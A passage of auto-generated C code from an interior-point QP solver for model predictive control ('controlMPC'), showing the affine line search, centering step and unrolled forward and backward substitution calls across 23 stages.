controlMPC_dllbaff21); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub21, controlMPC_dzaff21, controlMPC_ubIdx21, controlMPC_dsubaff21); controlMPC_LA_VSUB3_2(controlMPC_lubbysub21, controlMPC_dsubaff21, controlMPC_lub21, controlMPC_dlubaff21); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff22, controlMPC_lbIdx22, controlMPC_rilb22, controlMPC_dslbaff22); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb22, controlMPC_dslbaff22, controlMPC_llb22, controlMPC_dllbaff22); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub22, controlMPC_dzaff22, controlMPC_ubIdx22, controlMPC_dsubaff22); controlMPC_LA_VSUB3_2(controlMPC_lubbysub22, controlMPC_dsubaff22, controlMPC_lub22, controlMPC_dlubaff22); controlMPC_LA_VSUB_INDEXED_2(controlMPC_dzaff23, controlMPC_lbIdx23, controlMPC_rilb23, controlMPC_dslbaff23); controlMPC_LA_VSUB3_2(controlMPC_llbbyslb23, controlMPC_dslbaff23, controlMPC_llb23, controlMPC_dllbaff23); controlMPC_LA_VSUB2_INDEXED_2(controlMPC_riub23, controlMPC_dzaff23, controlMPC_ubIdx23, controlMPC_dsubaff23); controlMPC_LA_VSUB3_2(controlMPC_lubbysub23, controlMPC_dsubaff23, controlMPC_lub23, controlMPC_dlubaff23); info->lsit_aff = controlMPC_LINESEARCH_BACKTRACKING_AFFINE(controlMPC_l, controlMPC_s, controlMPC_dl_aff, controlMPC_ds_aff, &info->step_aff, &info->mu_aff); if( info->lsit_aff == controlMPC_NOPROGRESS ){ exitcode = controlMPC_NOPROGRESS; break; } sigma_3rdroot = info->mu_aff / info->mu; info->sigma = sigma_3rdroot*sigma_3rdroot*sigma_3rdroot; musigma = info->mu * info->sigma; controlMPC_LA_VSUB5_96(controlMPC_ds_aff, controlMPC_dl_aff, musigma, controlMPC_ccrhs); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub00, controlMPC_sub00, controlMPC_ubIdx00, controlMPC_ccrhsl00, controlMPC_slb00, controlMPC_lbIdx00, controlMPC_rd00); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub01, controlMPC_sub01, controlMPC_ubIdx01, controlMPC_ccrhsl01, controlMPC_slb01, controlMPC_lbIdx01, controlMPC_rd01); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi00, controlMPC_rd00, controlMPC_Lbyrd00); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi01, controlMPC_rd01, controlMPC_Lbyrd01); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V00, controlMPC_Lbyrd00, controlMPC_W01, controlMPC_Lbyrd01, controlMPC_beta00); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld00, controlMPC_beta00, controlMPC_yy00); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub02, controlMPC_sub02, controlMPC_ubIdx02, controlMPC_ccrhsl02, controlMPC_slb02, controlMPC_lbIdx02, controlMPC_rd02); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi02, controlMPC_rd02, controlMPC_Lbyrd02); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V01, controlMPC_Lbyrd01, controlMPC_W02, controlMPC_Lbyrd02, controlMPC_beta01); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd01, controlMPC_yy00, controlMPC_beta01, controlMPC_bmy01); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld01, controlMPC_bmy01, controlMPC_yy01); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub03, controlMPC_sub03, controlMPC_ubIdx03, controlMPC_ccrhsl03, controlMPC_slb03, controlMPC_lbIdx03, controlMPC_rd03); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi03, controlMPC_rd03, controlMPC_Lbyrd03); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V02, controlMPC_Lbyrd02, controlMPC_W03, controlMPC_Lbyrd03, controlMPC_beta02); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd02, controlMPC_yy01, controlMPC_beta02, controlMPC_bmy02); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld02, controlMPC_bmy02, controlMPC_yy02); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub04, controlMPC_sub04, controlMPC_ubIdx04, controlMPC_ccrhsl04, controlMPC_slb04, controlMPC_lbIdx04, controlMPC_rd04); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi04, controlMPC_rd04, controlMPC_Lbyrd04); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V03, controlMPC_Lbyrd03, controlMPC_W04, controlMPC_Lbyrd04, controlMPC_beta03); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd03, controlMPC_yy02, controlMPC_beta03, controlMPC_bmy03); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld03, controlMPC_bmy03, controlMPC_yy03); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub05, controlMPC_sub05, controlMPC_ubIdx05, controlMPC_ccrhsl05, controlMPC_slb05, controlMPC_lbIdx05, controlMPC_rd05); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi05, controlMPC_rd05, controlMPC_Lbyrd05); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V04, controlMPC_Lbyrd04, controlMPC_W05, controlMPC_Lbyrd05, controlMPC_beta04); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd04, controlMPC_yy03, controlMPC_beta04, controlMPC_bmy04); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld04, controlMPC_bmy04, controlMPC_yy04); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub06, controlMPC_sub06, controlMPC_ubIdx06, controlMPC_ccrhsl06, controlMPC_slb06, controlMPC_lbIdx06, controlMPC_rd06); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi06, controlMPC_rd06, controlMPC_Lbyrd06); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V05, controlMPC_Lbyrd05, controlMPC_W06, controlMPC_Lbyrd06, controlMPC_beta05); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd05, controlMPC_yy04, controlMPC_beta05, controlMPC_bmy05); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld05, controlMPC_bmy05, controlMPC_yy05); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub07, controlMPC_sub07, controlMPC_ubIdx07, controlMPC_ccrhsl07, controlMPC_slb07, controlMPC_lbIdx07, controlMPC_rd07); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi07, controlMPC_rd07, controlMPC_Lbyrd07); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V06, controlMPC_Lbyrd06, controlMPC_W07, controlMPC_Lbyrd07, controlMPC_beta06); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd06, controlMPC_yy05, controlMPC_beta06, controlMPC_bmy06); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld06, controlMPC_bmy06, controlMPC_yy06); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub08, controlMPC_sub08, controlMPC_ubIdx08, controlMPC_ccrhsl08, controlMPC_slb08, controlMPC_lbIdx08, controlMPC_rd08); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi08, controlMPC_rd08, controlMPC_Lbyrd08); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V07, controlMPC_Lbyrd07, controlMPC_W08, controlMPC_Lbyrd08, controlMPC_beta07); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd07, controlMPC_yy06, controlMPC_beta07, controlMPC_bmy07); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld07, controlMPC_bmy07, controlMPC_yy07); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub09, controlMPC_sub09, controlMPC_ubIdx09, controlMPC_ccrhsl09, controlMPC_slb09, controlMPC_lbIdx09, controlMPC_rd09); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi09, controlMPC_rd09, controlMPC_Lbyrd09); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V08, controlMPC_Lbyrd08, controlMPC_W09, controlMPC_Lbyrd09, controlMPC_beta08); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd08, controlMPC_yy07, controlMPC_beta08, controlMPC_bmy08); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld08, controlMPC_bmy08, controlMPC_yy08); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub10, controlMPC_sub10, controlMPC_ubIdx10, controlMPC_ccrhsl10, controlMPC_slb10, controlMPC_lbIdx10, controlMPC_rd10); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi10, controlMPC_rd10, controlMPC_Lbyrd10); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V09, controlMPC_Lbyrd09, controlMPC_W10, controlMPC_Lbyrd10, controlMPC_beta09); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd09, controlMPC_yy08, controlMPC_beta09, controlMPC_bmy09); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld09, controlMPC_bmy09, controlMPC_yy09); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub11, controlMPC_sub11, controlMPC_ubIdx11, controlMPC_ccrhsl11, controlMPC_slb11, controlMPC_lbIdx11, controlMPC_rd11); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi11, controlMPC_rd11, controlMPC_Lbyrd11); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V10, controlMPC_Lbyrd10, controlMPC_W11, controlMPC_Lbyrd11, controlMPC_beta10); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd10, controlMPC_yy09, controlMPC_beta10, controlMPC_bmy10); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld10, controlMPC_bmy10, controlMPC_yy10); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub12, controlMPC_sub12, controlMPC_ubIdx12, controlMPC_ccrhsl12, controlMPC_slb12, controlMPC_lbIdx12, controlMPC_rd12); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi12, controlMPC_rd12, controlMPC_Lbyrd12); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V11, controlMPC_Lbyrd11, controlMPC_W12, controlMPC_Lbyrd12, controlMPC_beta11); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd11, controlMPC_yy10, controlMPC_beta11, controlMPC_bmy11); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld11, controlMPC_bmy11, controlMPC_yy11); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub13, controlMPC_sub13, controlMPC_ubIdx13, controlMPC_ccrhsl13, controlMPC_slb13, controlMPC_lbIdx13, controlMPC_rd13); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi13, controlMPC_rd13, controlMPC_Lbyrd13); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V12, controlMPC_Lbyrd12, controlMPC_W13, controlMPC_Lbyrd13, controlMPC_beta12); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd12, controlMPC_yy11, controlMPC_beta12, controlMPC_bmy12); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld12, controlMPC_bmy12, controlMPC_yy12); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub14, controlMPC_sub14, controlMPC_ubIdx14, controlMPC_ccrhsl14, controlMPC_slb14, controlMPC_lbIdx14, controlMPC_rd14); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi14, controlMPC_rd14, controlMPC_Lbyrd14); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V13, controlMPC_Lbyrd13, controlMPC_W14, controlMPC_Lbyrd14, controlMPC_beta13); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd13, controlMPC_yy12, controlMPC_beta13, controlMPC_bmy13); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld13, controlMPC_bmy13, controlMPC_yy13); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub15, controlMPC_sub15, controlMPC_ubIdx15, controlMPC_ccrhsl15, controlMPC_slb15, controlMPC_lbIdx15, controlMPC_rd15); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi15, controlMPC_rd15, controlMPC_Lbyrd15); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V14, controlMPC_Lbyrd14, controlMPC_W15, controlMPC_Lbyrd15, controlMPC_beta14); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd14, controlMPC_yy13, controlMPC_beta14, controlMPC_bmy14); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld14, controlMPC_bmy14, controlMPC_yy14); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub16, controlMPC_sub16, controlMPC_ubIdx16, controlMPC_ccrhsl16, controlMPC_slb16, controlMPC_lbIdx16, controlMPC_rd16); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi16, controlMPC_rd16, controlMPC_Lbyrd16); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V15, controlMPC_Lbyrd15, controlMPC_W16, controlMPC_Lbyrd16, controlMPC_beta15); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd15, controlMPC_yy14, controlMPC_beta15, controlMPC_bmy15); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld15, controlMPC_bmy15, controlMPC_yy15); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub17, controlMPC_sub17, controlMPC_ubIdx17, controlMPC_ccrhsl17, controlMPC_slb17, controlMPC_lbIdx17, controlMPC_rd17); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi17, controlMPC_rd17, controlMPC_Lbyrd17); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V16, controlMPC_Lbyrd16, controlMPC_W17, controlMPC_Lbyrd17, controlMPC_beta16); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd16, controlMPC_yy15, controlMPC_beta16, controlMPC_bmy16); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld16, controlMPC_bmy16, controlMPC_yy16); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub18, controlMPC_sub18, controlMPC_ubIdx18, controlMPC_ccrhsl18, controlMPC_slb18, controlMPC_lbIdx18, controlMPC_rd18); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi18, controlMPC_rd18, controlMPC_Lbyrd18); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V17, controlMPC_Lbyrd17, controlMPC_W18, controlMPC_Lbyrd18, controlMPC_beta17); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd17, controlMPC_yy16, controlMPC_beta17, controlMPC_bmy17); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld17, controlMPC_bmy17, controlMPC_yy17); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub19, controlMPC_sub19, controlMPC_ubIdx19, controlMPC_ccrhsl19, controlMPC_slb19, controlMPC_lbIdx19, controlMPC_rd19); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi19, controlMPC_rd19, controlMPC_Lbyrd19); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V18, controlMPC_Lbyrd18, controlMPC_W19, controlMPC_Lbyrd19, controlMPC_beta18); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd18, controlMPC_yy17, controlMPC_beta18, controlMPC_bmy18); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld18, controlMPC_bmy18, controlMPC_yy18); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub20, controlMPC_sub20, controlMPC_ubIdx20, controlMPC_ccrhsl20, controlMPC_slb20, controlMPC_lbIdx20, controlMPC_rd20); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi20, controlMPC_rd20, controlMPC_Lbyrd20); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V19, controlMPC_Lbyrd19, controlMPC_W20, controlMPC_Lbyrd20, controlMPC_beta19); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd19, controlMPC_yy18, controlMPC_beta19, controlMPC_bmy19); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld19, controlMPC_bmy19, controlMPC_yy19); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub21, controlMPC_sub21, controlMPC_ubIdx21, controlMPC_ccrhsl21, controlMPC_slb21, controlMPC_lbIdx21, controlMPC_rd21); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi21, controlMPC_rd21, controlMPC_Lbyrd21); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V20, controlMPC_Lbyrd20, controlMPC_W21, controlMPC_Lbyrd21, controlMPC_beta20); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd20, controlMPC_yy19, controlMPC_beta20, controlMPC_bmy20); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld20, controlMPC_bmy20, controlMPC_yy20); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub22, controlMPC_sub22, controlMPC_ubIdx22, controlMPC_ccrhsl22, controlMPC_slb22, controlMPC_lbIdx22, controlMPC_rd22); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi22, controlMPC_rd22, controlMPC_Lbyrd22); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V21, controlMPC_Lbyrd21, controlMPC_W22, controlMPC_Lbyrd22, controlMPC_beta21); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd21, controlMPC_yy20, controlMPC_beta21, controlMPC_bmy21); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld21, controlMPC_bmy21, controlMPC_yy21); controlMPC_LA_VSUB6_INDEXED_2_2_2(controlMPC_ccrhsub23, controlMPC_sub23, controlMPC_ubIdx23, controlMPC_ccrhsl23, controlMPC_slb23, controlMPC_lbIdx23, controlMPC_rd23); controlMPC_LA_DIAG_FORWARDSUB_2(controlMPC_Phi23, controlMPC_rd23, controlMPC_Lbyrd23); controlMPC_LA_DENSE_DIAGZERO_2MVMADD_2_2_2(controlMPC_V22, controlMPC_Lbyrd22, controlMPC_W23, controlMPC_Lbyrd23, controlMPC_beta22); controlMPC_LA_DENSE_MVMSUB1_2_2(controlMPC_Lsd22, controlMPC_yy21, controlMPC_beta22, controlMPC_bmy22); controlMPC_LA_DENSE_FORWARDSUB_2(controlMPC_Ld22, controlMPC_bmy22, controlMPC_yy22); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld22, controlMPC_yy22, controlMPC_dvcc22); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd22, controlMPC_dvcc22, controlMPC_yy21, controlMPC_bmy21); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld21, controlMPC_bmy21, controlMPC_dvcc21); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd21, controlMPC_dvcc21, controlMPC_yy20, controlMPC_bmy20); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld20, controlMPC_bmy20, controlMPC_dvcc20); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd20, controlMPC_dvcc20, controlMPC_yy19, controlMPC_bmy19); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld19, controlMPC_bmy19, controlMPC_dvcc19); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd19, controlMPC_dvcc19, controlMPC_yy18, controlMPC_bmy18); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld18, controlMPC_bmy18, controlMPC_dvcc18); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd18, controlMPC_dvcc18, controlMPC_yy17, controlMPC_bmy17); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld17, controlMPC_bmy17, controlMPC_dvcc17); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd17, controlMPC_dvcc17, controlMPC_yy16, controlMPC_bmy16); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld16, controlMPC_bmy16, controlMPC_dvcc16); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd16, controlMPC_dvcc16, controlMPC_yy15, controlMPC_bmy15); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld15, controlMPC_bmy15, controlMPC_dvcc15); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd15, controlMPC_dvcc15, controlMPC_yy14, controlMPC_bmy14); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld14, controlMPC_bmy14, controlMPC_dvcc14); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd14, controlMPC_dvcc14, controlMPC_yy13, controlMPC_bmy13); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld13, controlMPC_bmy13, controlMPC_dvcc13); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd13, controlMPC_dvcc13, controlMPC_yy12, controlMPC_bmy12); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld12, controlMPC_bmy12, controlMPC_dvcc12); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd12, controlMPC_dvcc12, controlMPC_yy11, controlMPC_bmy11); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld11, controlMPC_bmy11, controlMPC_dvcc11); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd11, controlMPC_dvcc11, controlMPC_yy10, controlMPC_bmy10); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld10, controlMPC_bmy10, controlMPC_dvcc10); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd10, controlMPC_dvcc10, controlMPC_yy09, controlMPC_bmy09); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld09, controlMPC_bmy09, controlMPC_dvcc09); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd09, controlMPC_dvcc09, controlMPC_yy08, controlMPC_bmy08); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld08, controlMPC_bmy08, controlMPC_dvcc08); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd08, controlMPC_dvcc08, controlMPC_yy07, controlMPC_bmy07); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld07, controlMPC_bmy07, controlMPC_dvcc07); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd07, controlMPC_dvcc07, controlMPC_yy06, controlMPC_bmy06); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld06, controlMPC_bmy06, controlMPC_dvcc06); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd06, controlMPC_dvcc06, controlMPC_yy05, controlMPC_bmy05); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld05, controlMPC_bmy05, controlMPC_dvcc05); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd05, controlMPC_dvcc05, controlMPC_yy04, controlMPC_bmy04); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld04, controlMPC_bmy04, controlMPC_dvcc04); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd04, controlMPC_dvcc04, controlMPC_yy03, controlMPC_bmy03); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld03, controlMPC_bmy03, controlMPC_dvcc03); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd03, controlMPC_dvcc03, controlMPC_yy02, controlMPC_bmy02); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld02, controlMPC_bmy02, controlMPC_dvcc02); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd02, controlMPC_dvcc02, controlMPC_yy01, controlMPC_bmy01); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld01, controlMPC_bmy01, controlMPC_dvcc01); controlMPC_LA_DENSE_MTVMSUB_2_2(controlMPC_Lsd01, controlMPC_dvcc01, controlMPC_yy00, controlMPC_bmy00); controlMPC_LA_DENSE_BACKWARDSUB_2(controlMPC_Ld00, controlMPC_bmy00, controlMPC_dvcc00); controlMPC_LA_DENSE_MTVM_2_2(controlMPC_C00, controlMPC_dvcc00, controlMPC_grad_eq00); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc01, controlMPC_D01, controlMPC_dvcc00, controlMPC_grad_eq01); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc02, controlMPC_D01, controlMPC_dvcc01, controlMPC_grad_eq02); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc03, controlMPC_D01, controlMPC_dvcc02, controlMPC_grad_eq03); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc04, controlMPC_D01, controlMPC_dvcc03, controlMPC_grad_eq04); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc05, controlMPC_D01, controlMPC_dvcc04, controlMPC_grad_eq05); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc06, controlMPC_D01, controlMPC_dvcc05, controlMPC_grad_eq06); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc07, controlMPC_D01, controlMPC_dvcc06, controlMPC_grad_eq07); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc08, controlMPC_D01, controlMPC_dvcc07, controlMPC_grad_eq08); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc09, controlMPC_D01, controlMPC_dvcc08, controlMPC_grad_eq09); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc10, controlMPC_D01, controlMPC_dvcc09, controlMPC_grad_eq10); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc11, controlMPC_D01, controlMPC_dvcc10, controlMPC_grad_eq11); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc12, controlMPC_D01, controlMPC_dvcc11, controlMPC_grad_eq12); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc13, controlMPC_D01, controlMPC_dvcc12, controlMPC_grad_eq13); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc14, controlMPC_D01, controlMPC_dvcc13, controlMPC_grad_eq14); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc15, controlMPC_D01, controlMPC_dvcc14, controlMPC_grad_eq15); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc16, controlMPC_D01, controlMPC_dvcc15, controlMPC_grad_eq16); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc17, controlMPC_D01, controlMPC_dvcc16, controlMPC_grad_eq17); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc18, controlMPC_D01, controlMPC_dvcc17, controlMPC_grad_eq18); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc19, controlMPC_D01, controlMPC_dvcc18, controlMPC_grad_eq19); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc20, controlMPC_D01, controlMPC_dvcc19, controlMPC_grad_eq20); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc21, controlMPC_D01, controlMPC_dvcc20, controlMPC_grad_eq21); controlMPC_LA_DENSE_DIAGZERO_MTVM2_2_2_2(controlMPC_C00, controlMPC_dvcc22, controlMPC_D01, controlMPC_dvcc21, controlMPC_grad_eq22); controlMPC_LA_DIAGZERO_MTVM_2_2(controlMPC_D01, 